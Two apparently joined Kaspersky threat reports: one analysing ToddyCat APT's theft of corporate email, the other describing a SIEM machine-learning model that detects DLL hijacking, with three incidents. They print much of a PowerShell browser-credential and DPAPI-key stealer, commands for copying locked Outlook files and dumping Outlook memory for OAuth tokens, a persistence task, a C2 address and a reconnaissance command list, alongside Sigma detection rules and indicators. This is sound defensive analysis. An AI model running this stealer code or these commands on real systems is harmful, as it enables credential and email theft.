Introduction

Email remains the main means of business correspondence at organizations. It can be set up either using on-premises infrastructure (for example, by deploying Microsoft Exchange Server) or through cloud mail services such as Microsoft 365 or Gmail. However, some organizations do not provide domain-level access to their cloud email. As a result, attackers who have compromised the domain do not automatically gain access to email correspondence and must resort to additional techniques to read it.

This research describes how ToddyCat APT evolved its methods to gain covert access to the business correspondence of employees at target companies. In the first part, we review the incidents that occurred in the second half of 2024 and early 2025. In the second part of the report, we focus in detail on how the attackers implemented a new attack vector as a result of their efforts. This attack enables the adversary to leverage the user’s browser to obtain OAuth 2.0 authorization tokens. These tokens can then be utilized outside the perimeter of the compromised infrastructure to access corporate email.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

TomBerBil in PowerShell

In a previous post on the ToddyCat group, we described the TomBerBil family of tools, which are designed to extract cookies and saved passwords from browsers on user hosts. These tools were written in C# and C++.

Yet, analysis of incidents from May to June 2024 revealed a new variant implemented in PowerShell. It retained the core malicious functionality of the previous samples but employed a different implementation approach and incorporated new commands.

A key feature of this version is that it was executed on domain controllers on behalf of a privileged user, accessing browser files via shared network resources using the SMB protocol.

Besides supporting the Chrome and Edge browsers, the new version also added processing for Firefox browser files.

The tool was launched using a scheduled task that executed the following command line:

powershell -exec bypass -command "c:\programdata\ip445.ps1"

The script begins by creating a new local directory, which is specified in the $baseDir variable. The tool saves all data it collects into this directory.

$baseDir = 'c:\programdata\temp\'

try{
	New-Item -ItemType directory -Path $baseDir | Out-Null
}catch{
	
}

The script defines a function named parseFile, which accepts the full file path as a parameter. It opens the C:\programdata\uhosts.txt file and reads its content line by line using .NET Framework classes, returning the result as a string array. This is how the script forms an array of host names.

function parseFile{
    param(
        [string]$fileName
    )
    
    $fileReader=[System.IO.File]::OpenText($fileName)

    while(($line = $fileReader.ReadLine()) -ne $null){
        try{
            $line.trim()
            }
        catch{
        }
    }
    $fileReader.close()
}

For each host in the array, the script attempts to establish an SMB connection to the shared resource c$, constructing the path in the \\\c$\users\ format. If the connection is successful, the tool retrieves a list of user directories present on the remote host. If at least one directory is found, a separate folder is created for that host within the $baseDir working directory:

foreach($myhost in parseFile('c:\programdata\uhosts.txt')){
    $myhost=$myhost.TrimEnd()
    $open=$false
    
    $cpath = "\\{0}\c$\users\" -f $myhost
    $items = @(get-childitem $cpath -Force -ErrorAction SilentlyContinue)
	
	$lpath = $baseDir + $myhost
	try{
		New-Item -ItemType directory -Path $lpath | Out-Null
	}catch{
		
	}

In the next stage, the script iterates through the user folders discovered on the remote host, skipping any folders specified in the $filter_users variable, which is defined upon launching the tool. For the remaining folders, three directories are created in the script’s working folder for collecting data from Google Chrome, Mozilla Firefox, and Microsoft Edge.

$filter_users = @('public','all users','default','default user','desktop.ini','.net v4.5','.net v4.5 classic')

foreach($item in $items){
	
	$username = $item.Name
	if($filter_users -contains $username.tolower()){
		continue
	}
	$upath = $lpath + '\' + $username
	
	try{
		New-Item -ItemType directory -Path $upath | Out-Null
		New-Item -ItemType directory -Path ($upath + '\google') | Out-Null
		New-Item -ItemType directory -Path ($upath + '\firefox') | Out-Null
		New-Item -ItemType directory -Path ($upath + '\edge') | Out-Null
	}catch{
		
	}

Next, the tool uses the default account to search for the following Chrome and Edge browser files on the remote host:

• Login Data: a database file that contains the user’s saved logins and passwords for websites in an encrypted format
• Local State: a JSON file containing the encryption key used to encrypt stored data
• Cookies: a database file that stores HTTP cookies for all websites visited by the user
• History: a database that stores the browser’s history

These files are copied via SMB to the local folder within the corresponding user and browser folder hierarchy. Below is a code snippet that copies the Login Data file:

$googlepath = $upath + '\google\'
$firefoxpath = $upath + '\firefox\'
$edgepath = $upath + '\edge\'
$loginDataPath = $item.FullName + "\AppData\Local\Google\Chrome\User Data\Default\Login Data"
if(test-path -path $loginDataPath){
	$dstFileName = "{0}\{1}" -f $googlepath,'Login Data'
	copy-item -Force -Path $loginDataPath -Destination $dstFileName | Out-Null
}

The same procedure is applied to Firefox files, with the tool additionally traversing through all the user profile folders of the browser. Instead of the files described above for Chrome and Edge, the script searches for files which have names from the $firefox_files array that contain similar information. The requested files are also copied to the tool’s local folder.

$firefox_files = @('key3.db','signons.sqlite','key4.db','logins.json')

$firefoxBase = $item.FullName + '\AppData\Roaming\Mozilla\Firefox\Profiles'
if(test-path -path $firefoxBase){
	$profiles = @(get-childitem $firefoxBase -Force -ErrorAction SilentlyContinue)
	foreach($profile in $profiles){
		if(!(test-path -path ($firefoxpath + '\' + $profile.Name))){
			New-Item -ItemType directory -Path ($firefoxpath + '\' + $profile.Name) | Out-Null
		}
		foreach($firefox_file in $firefox_files){
			$tmpPath = $firefoxBase + '\' + $profile.Name + '\' + $firefox_file
			if(test-path -Path $tmpPath){
				$dstFileName = "{0}\{1}\{2}" -f $firefoxpath,$profile.Name,$firefox_file
				copy-item -Force -Path $tmpPath -Destination $dstFileName | Out-Null
			}
		}
	}
}

The copied files are encrypted using the Data Protection API (DPAPI). The previous version of TomBerBil ran on the host and copied the user’s token. As a result, in the user’s current session DPAPI was used to decrypt the master key, and subsequently, the files. The updated server-side version of TomBerBil copies files containing the user encryption keys that are used by DPAPI. These keys, combined with the user’s SID and password, grant the attackers the ability to decrypt all the copied files locally.

if(test-path -path ($item.FullName + '\AppData\Roaming\Microsoft\Protect')){
	copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Roaming\Microsoft\Protect') -Destination ($upath + '\') | Out-Null
}
if(test-path -path ($item.FullName + '\AppData\Local\Microsoft\Credentials')){
	copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Local\Microsoft\Credentials') -Destination ($upath + '\') | Out-Null
}

With TomBerBil, the attackers automatically collected user cookies, browsing history, and saved passwords, while simultaneously copying the encryption keys needed to decrypt the browser files. The connection to the victim’s remote hosts was established via the SMB protocol, which significantly complicated the detection of the tool’s activity.

As a rule, such tools are deployed at later stages, after the adversary has established persistence within the organization’s internal infrastructure and obtained privileged access.

Detection

To detect the implementation of this attack, it’s necessary to set up auditing for access to browser folders and to monitor network protocol connection attempts to those folders.

title: Access To Sensitive Browser Files Via Smb
id: 9ac86f68-9c01-4c9d-897a-4709256c4c7b
status: experimental
description: Detects remote access attempts to browser files containing sensitive information
author: Kaspersky
date: 2025-08-11
tags:
    - attack.credential-access
    - attack.t1555.003
logsource:
    product: windows
    service: security
detection:
    event:
        EventID: '5145'
    chromium_files:
        ShareLocalPath|endswith:
            - '\User Data\Default\History'
            - '\User Data\Default\Network\Cookies'
            - '\User Data\Default\Login Data'
            - '\User Data\Local State'
    firefox_path:
        ShareLocalPath|contains: '\AppData\Roaming\Mozilla\Firefox\Profiles'
    firefox_files:
        ShareLocalPath|endswith:
            - 'key3.db'
            - 'signons.sqlite'
            - 'key4.db'
            - 'logins.json'
    condition: event and (chromium_files or firefox_path and firefox_files)
falsepositives: Legitimate activity
level: medium

In addition, auditing for access to the folders storing the DPAPI encryption key files is also required.

title: Access To System Master Keys Via Smb
id: ba712364-cb99-4eac-a012-7fc86d040a4a
status: experimental
description: Detects remote access attempts to the Protect file, which stores DPAPI master keys
references:
    - https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary
author: Kaspersky
date: 2025-08-11
tags:
    - attack.credential-access
    - attack.t1555
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: '5145'
        ShareLocalPath|contains: 'windows\System32\Microsoft\Protect'
    condition: selection
falsepositives: Legitimate activity
level: medium

Stealing emails from Outlook

The modified TomBerBil tool family proved ineffective at evading monitoring tools, compelling the threat actor to seek alternative methods for accessing the organization’s critical data. We discovered an attempt to gain access to corporate correspondence files in the local Outlook storage.

The Outlook application stores OST (Offline Storage Table) files for offline use. The names of these files contain the address of the mailbox being cached. Outlook uses OST files to store a local copy of data synchronized with mail servers: Microsoft Exchange, Microsoft 365, or Outlook.com. This capability allows users to work with emails, calendars, contacts, and other data offline, then synchronize changes with the server once the connection is restored.

However, access to an OST file is blocked by the application while Outlook is running. To copy the file, the attackers created a specialized tool called TCSectorCopy.

TCSectorCopy

This tool is designed for block-by-block copying of files that may be inaccessible by applications or the operating system, such as files that are locked while in use.

The tool is a 32-bit PE file written in C++. After launch, it processes parameters passed via the command line: the path to the source file to be copied and the path where the result should be saved. The tool then validates that the source path is not identical to the destination path.

Next, the tool gathers information about the disk hosting the file to be copied: it determines the cluster size, file system type, and other parameters necessary for low-level reading.

TCSectorCopy then opens the disk as a device in read-only mode and sequentially copies the file content block by block, bypassing the standard Windows API. This allows the tool to copy even the files that are locked by the system or other applications.

The adversary uploaded this tool to target host and used it to copy user OST files:

xCopy.exe  C:\Users\<user>\AppData\Local\Microsoft\Outlook\<email>@<domain>.ost <email>@<domain>.ost2

Having obtained the OST files, the attackers processed them using a separate tool to extract the email correspondence content.

XstReader

XstReader is an open-source C# tool for viewing and exporting the content of Microsoft Outlook OST and PST files. The attackers used XstReader to export the content of the previously copied OST files.

XstReader is executed with the -e parameter and the path to the copied file. The -e parameter specifies the export of all messages and their attachments to the current folder in the HTML, RTF, and TXT formats.

XstExport.exe -e <email>@<domain>.ost2

After exporting the data from the OST file, the attackers review the list of obtained files, collect those of interest into an archive, and exfiltrate it.

Detection

To detect unauthorized access to Outlook OST files, it’s necessary to set up auditing for the %LOCALAPPDATA%\Microsoft\Outlook\ folder and monitor access events for files with the .ost extension. The Outlook process and other processes legitimately using this file must be excluded from the audit.

title: Access To Outlook Ost Files
id: 2e6c1918-08ef-4494-be45-0c7bce755dfc
status: experimental
description: Detects access to the Outlook Offline Storage Table (OST) file
author: Kaspersky
date: 2025-08-11
tags:
    - attack.collection
    - attack.t1114.001
logsource:
    product: windows
    service: security
detection:
    event:
        EventID: 4663
    outlook_path:
        ObjectName|contains: '\AppData\Local\Microsoft\Outlook\'
    ost_file:
        ObjectName|endswith: '.ost'
    condition: event and outlook_path and ost_file
falsepositives: Legitimate activity
level: low

The TCSectorCopy tool accesses the OST file via the disk device, so to detect it, it’s important to monitor events such as Event ID 9 (RawAccessRead) in Sysmon. These events indicate reading directly from the disk, bypassing the file system.

As we mentioned earlier, TCSectorCopy receives the path to the OST file via a command line. Consequently, detecting this tool’s malicious activity requires monitoring for a specific OST file naming pattern: the @ symbol and the .ost extension in the file name.

Stealing access tokens from Outlook

Since active file collection actions on a host are easily tracked using monitoring systems, the attackers’ next step was gaining access to email outside the hosts where monitoring was being performed. Some target organizations used the Microsoft 365 cloud office suite. The attackers attempted to obtain the access token that resides in the memory of processes utilizing this cloud service.

In the OAuth 2.0 protocol, which Microsoft 365 uses for authorization, the access token is used when requesting resources from the server. In Outlook, it is specified in API requests to the cloud service to retrieve emails along with attachments. Its disadvantage is its relatively short lifespan; however, this can be enough to retrieve all emails from a mailbox while bypassing monitoring tools.

The access token is stored using the JWT (JSON Web Tokens) standard. The token content is encoded using Base64. JWT headers for Microsoft applications always specify the typ parameter with the JWT value first. This means that the first 18 characters of the encoded token will always be the same.

The attackers used SharpTokenFinder to obtain the access token from the user’s Outlook application. This tool is written in C# and designed to search for an access token in processes associated with the Microsoft 365 suite. After launch, the tool searches the system for the following processes:

• “TEAMS”
• “WINWORD”
• “ONENOTE”
• “POWERPNT”
• “OUTLOOK”
• “EXCEL”
• “ONEDRIVE”
• “SHAREPOINT”

If these processes are found, the tool attempts to open each process’s object using the OpenProcess function and dump their memory. To do this, the tool imports the MiniDumpWriteDump function from the dbghelp.dll file, which writes user mode minidump information to the specified file. The dump files are saved in the dump folder, located in the current SharpTokenFinder directory. After creating dump files for the processes, the tool searches for the following string pattern in each of them:

"eyJ0eX[a-zA-Z0-9\\._\\-]+"

This template uses the first six symbols of the encoded JWT token, which are always the same. Its structures are separated by dots. This is sufficient to find the necessary string in the process memory dump.

In the incident being described, the local security tools (EPP) blocked the attempt to create the OUTLOOK.exe process dump using SharpTokenFinder, so the operator used ProcDump from the Sysinternals suite for this purpose:

procdump64.exe -accepteula -ma OUTLOOK.exe
dir c:\windows\temp\OUTLOOK.EXE_<id>.dmp
c:\progra~1\winrar\rar.exe a -k -r -s -m5 -v100M %temp%\dmp.rar c:\windows\temp\OUTLOOK.EXE_<id>.dmp

Here, the operator executed ProcDump with the following parameters:

• accepteula silently accepts the license agreement without displaying the agreement window.
• ma indicates that a full process dump should be created.
• exe is the name of the process to be dumped.

The dir command is then executed as a check to confirm that the file was created and is not zero size. Following this validation, the file is added to a dmp.rar archive using WinRAR. The attackers sent this file to their host via SMB.

Detection

To detect this technique, it’s necessary to monitor the ProcDump process command line for names belonging to Microsoft 365 application processes.

title: Dump Of Office 365 Processes Using Procdump
id: 5ce97d80-c943-4ac7-8caf-92bb99e90e90
status: experimental
description: Detects Office 365 process names in the command line of the procdump tool
author: kaspersky
date: 2025-08-11
tags:
    - attack.lateral-movement
    - attack.defense-evasion
    - attack.t1550.001
logsource:
  category: process_creation
  product: windows
detection:
    selection:
        Product: 'ProcDump'
        CommandLine|contains:
            - 'teams'
            - 'winword'
            - 'onenote'
            - 'powerpnt'
            - 'outlook'
            - 'excel'
            - 'onedrive'
            - 'sharepoint'
    condition: selection
falsepositives: Legitimate activity
level: high

Below is an example of the ProcDump tool from the Sysinternals package used to dump the Outlook process memory, detected by Kaspersky Anti Targeted Attack (KATA).

Takeaways

The incidents reviewed in this article show that ToddyCat APT is constantly evolving its techniques and seeking new ways to conceal its activity aimed at gaining access to corporate correspondence within compromised infrastructure. Most of the techniques described here can be successfully detected. For timely identification of these techniques, we recommend using both host-based EPP solutions, such as Kaspersky Endpoint Security for Business, and complex threat monitoring systems, such as Kaspersky Anti Targeted Attack. For comprehensive, up-to-date information on threats and corresponding detection rules, we recommend Kaspersky Threat Intelligence.

Indicators of compromise

Malicious files
55092E1DEA3834ABDE5367D79E50079A             ip445.ps1
2320377D4F68081DA7F39F9AF83F04A2              xCopy.exe
B9FDAD18186F363C3665A6F54D51D3A0             stf.exe

Not-a-virus files
49584BD915DD322C3D84F2794BB3B950             XstExport.exe

File paths
C:\programdata\ip445.ps1
C:\Windows\Temp\xCopy.exe
C:\Windows\Temp\XstExport.exe
c:\windows\temp\stf.exe

PDB
O:\Projects\Penetration\Tools\SectorCopy\Release\SectorCopy.pdb

Introduction

Our colleagues from the AI expertise center recently developed a machine-learning model that detects DLL-hijacking attacks. We then integrated this model into the Kaspersky Unified Monitoring and Analysis Platform SIEM system. In a separate article, our colleagues shared how the model had been created and what success they had achieved in lab environments. Here, we focus on how it operates within Kaspersky SIEM, the preparation steps taken before its release, and some real-world incidents it has already helped us uncover.

How the model works in Kaspersky SIEM

The model’s operation generally boils down to a step-by-step check of all DLL libraries loaded by processes in the system, followed by validation in the Kaspersky Security Network (KSN) cloud. This approach allows local attributes (path, process name, and file hashes) to be combined with a global knowledge base and behavioral indicators, which significantly improves detection quality and reduces the probability of false positives.

The model can run in one of two modes: on a correlator or on a collector. A correlator is a SIEM component that performs event analysis and correlation based on predefined rules or algorithms. If detection is configured on a correlator, the model checks events that have already triggered a rule. This reduces the volume of KSN queries and the model’s response time.

This is how it looks:

A collector is a software or hardware component of a SIEM platform that collects and normalizes events from various sources, and then delivers these events to the platform’s core. If detection is configured on a collector, the model processes all events associated with various processes loading libraries, provided these events meet the following conditions:

• The path to the process file is known.
• The path to the library is known.
• The hashes of the file and the library are available.

This method consumes more resources, and the model’s response takes longer than it does on a correlator. However, it can be useful for retrospective threat hunting because it allows you to check all events logged by Kaspersky SIEM. The model’s workflow on a collector looks like this:

It is important to note that the model is not limited to a binary “malicious/non-malicious” assessment; it ranks its responses by confidence level. This allows it to be used as a flexible tool in SOC practice. Examples of possible verdicts:

• 0: data is being processed.
• 1: maliciousness not confirmed. This means the model currently does not consider the library malicious.
• 2: suspicious library.
• 3: maliciousness confirmed.

A Kaspersky SIEM rule for detecting DLL hijacking would look like this:

N.KL_AI_DLLHijackingCheckResult > 1

Embedding the model into the Kaspersky SIEM correlator automates the process of finding DLL-hijacking attacks, making it possible to detect them at scale without having to manually analyze hundreds or thousands of loaded libraries. Furthermore, when combined with correlation rules and telemetry sources, the model can be used not just as a standalone module but as part of a comprehensive defense against infrastructure attacks.

Incidents detected during the pilot testing of the model in the MDR service

Before being released, the model (as part of the Kaspersky SIEM platform) was tested in the MDR service, where it was trained to identify attacks on large datasets supplied by our telemetry. This step was necessary to ensure that detection works not only in lab settings but also in real client infrastructures.

During the pilot testing, we verified the model’s resilience to false positives and its ability to correctly classify behavior even in non-typical DLL-loading scenarios. As a result, several real-world incidents were successfully detected where attackers used one type of DLL hijacking — the DLL Sideloading technique — to gain persistence and execute their code in the system.

Let us take a closer look at the three most interesting of these.

Incident 1. ToddyCat trying to launch Cobalt Strike disguised as a system library

In one incident, the attackers successfully leveraged the vulnerability CVE-2021-27076 to exploit a SharePoint service that used IIS as a web server. They ran the following command:

c:\windows\system32\inetsrv\w3wp.exe -ap "SharePoint - 80" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iisipmd32ded38-e45b-423f-804d-34471928538b -h "C:\inetpub\temp\apppools\SharePoint - 80\SharePoint - 80.config" -w "" -m 0

After the exploitation, the IIS process created files that were later used to run malicious code via the DLL sideloading technique (T1574.001 Hijack Execution Flow: DLL):

C:\ProgramData\SystemSettings.exe
C:\ProgramData\SystemSettings.dll

SystemSettings.dll is the name of a library associated with the Windows Settings application (SystemSettings.exe). The original library contains code and data that the Settings application uses to manage and configure various system parameters. However, the library created by the attackers has malicious functionality and is only pretending to be a system library.

Later, to establish persistence in the system and launch a DLL sideloading attack, a scheduled task was created, disguised as a Microsoft Edge browser update. It launches a SystemSettings.exe file, which is located in the same directory as the malicious library:

Schtasks  /create  /ru "SYSTEM" /tn "\Microsoft\Windows\Edge\Edgeupdates" /sc DAILY /tr "C:\ProgramData\SystemSettings.exe" /F

The task is set to run daily.

When the SystemSettings.exe process is launched, it loads the malicious DLL. As this happened, the process and library data were sent to our model for analysis and detection of a potential attack.

The resulting data helped our analysts highlight a suspicious DLL and analyze it in detail. The library was found to be a Cobalt Strike implant. After loading it, the SystemSettings.exe process attempted to connect to the attackers’ command-and-control server.

DNS query: connect-microsoft[.]com
DNS query type: AAAA
DNS response: ::ffff:8.219.1[.]155;
8.219.1[.]155:8443

After establishing a connection, the attackers began host reconnaissance to gather various data to develop their attack.

C:\ProgramData\SystemSettings.exe
whoami /priv
hostname
reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
powershell -c $psversiontable
dotnet --version
systeminfo
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Drivers"
cmdkey /list
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
netsh wlan show profiles
netsh wlan show interfaces
set
net localgroup administrators
net user
net user administrator
ipconfig /all
net config workstation
net view
arp -a
route print
netstat -ano
tasklist
schtasks /query /fo LIST /v
net start
net share
net use
netsh firewall show config
netsh firewall show state
net view /domain
net time /domain
net group "domain admins" /domain
net localgroup administrators /domain
net group "domain controllers" /domain
net accounts /domain
nltest / domain_trusts
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

Based on the attackers’ TTPs, such as loading Cobalt Strike as a DLL, using the DLL sideloading technique (1, 2), and exploiting SharePoint, we can say with a high degree of confidence that the ToddyCat APT group was behind the attack. Thanks to the prompt response of our model, we were able to respond in time and block this activity, preventing the attackers from causing damage to the organization.

Incident 2. Infostealer masquerading as a policy manager

Another example was discovered by the model after a client was connected to MDR monitoring: a legitimate system file located in an application folder attempted to load a suspicious library that was stored next to it.

C:\Program Files\Chiniks\SettingSyncHost.exe
C:\Program Files\Chiniks\policymanager.dll E83F331BD1EC115524EBFF7043795BBE

The SettingSyncHost.exe file is a system host process for synchronizing settings between one user’s different devices. Its 32-bit and 64-bit versions are usually located in C:\Windows\System32\ and C:\Windows\SysWOW64\, respectively. In this incident, the file location differed from the normal one.

Analysis of the library file loaded by this process showed that it was malware designed to steal information from browsers.

The file directly accesses browser files that contain user data.

C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State

The library file is on the list of files used for DLL hijacking, as published in the HijackLibs project. The project contains a list of common processes and libraries employed in DLL-hijacking attacks, which can be used to detect these attacks.

Incident 3. Malicious loader posing as a security solution

Another incident discovered by our model occurred when a user connected a removable USB drive:

The connected drive’s directory contained hidden folders with an identically named shortcut for each of them. The shortcuts had icons typically used for folders. Since file extensions were not shown by default on the drive, the user might have mistaken the shortcut for a folder and launched it. In turn, the shortcut opened the corresponding hidden folder and ran an executable file using the following command:

"%comspec%" /q /c "RECYCLER.BIN\1\CEFHelper.exe [$DIGITS] [$DIGITS]"

CEFHelper.exe is a legitimate Avast Antivirus executable that, through DLL sideloading, loaded the wsc.dll library, which is a malicious loader.

The loader opens a file named AvastAuth.dat, which contains an encrypted backdoor. The library reads the data from the file into memory, decrypts it, and executes it. After this, the backdoor attempts to connect to a remote command-and-control server.

The library file, which contains the malicious loader, is on the list of known libraries used for DLL sideloading, as presented on the HijackLibs project website.

Conclusion

Integrating the model into the product provided the means of early and accurate detection of DLL-hijacking attempts which previously might have gone unnoticed. Even during the pilot testing, the model proved its effectiveness by identifying several incidents using this technique. Going forward, its accuracy will only increase as data accumulates and algorithms are updated in KSN, making this mechanism a reliable element of proactive protection for corporate systems.

IoC

Legitimate files used for DLL hijacking
E0E092D4EFC15F25FD9C0923C52C33D6 loads SystemSettings.dll
09CD396C8F4B4989A83ED7A1F33F5503 loads policymanager.dll
A72036F635CECF0DCB1E9C6F49A8FA5B loads wsc.dll

Malicious files
EA2882B05F8C11A285426F90859F23C6   SystemSettings.dll
E83F331BD1EC115524EBFF7043795BBE   policymanager.dll
831252E7FA9BD6FA174715647EBCE516   wsc.dll

Paths
C:\ProgramData\SystemSettings.exe
C:\ProgramData\SystemSettings.dll
C:\Program Files\Chiniks\SettingSyncHost.exe
C:\Program Files\Chiniks\policymanager.dll
D:\RECYCLER.BIN\1\CEFHelper.exe
D:\RECYCLER.BIN\1\wsc.dll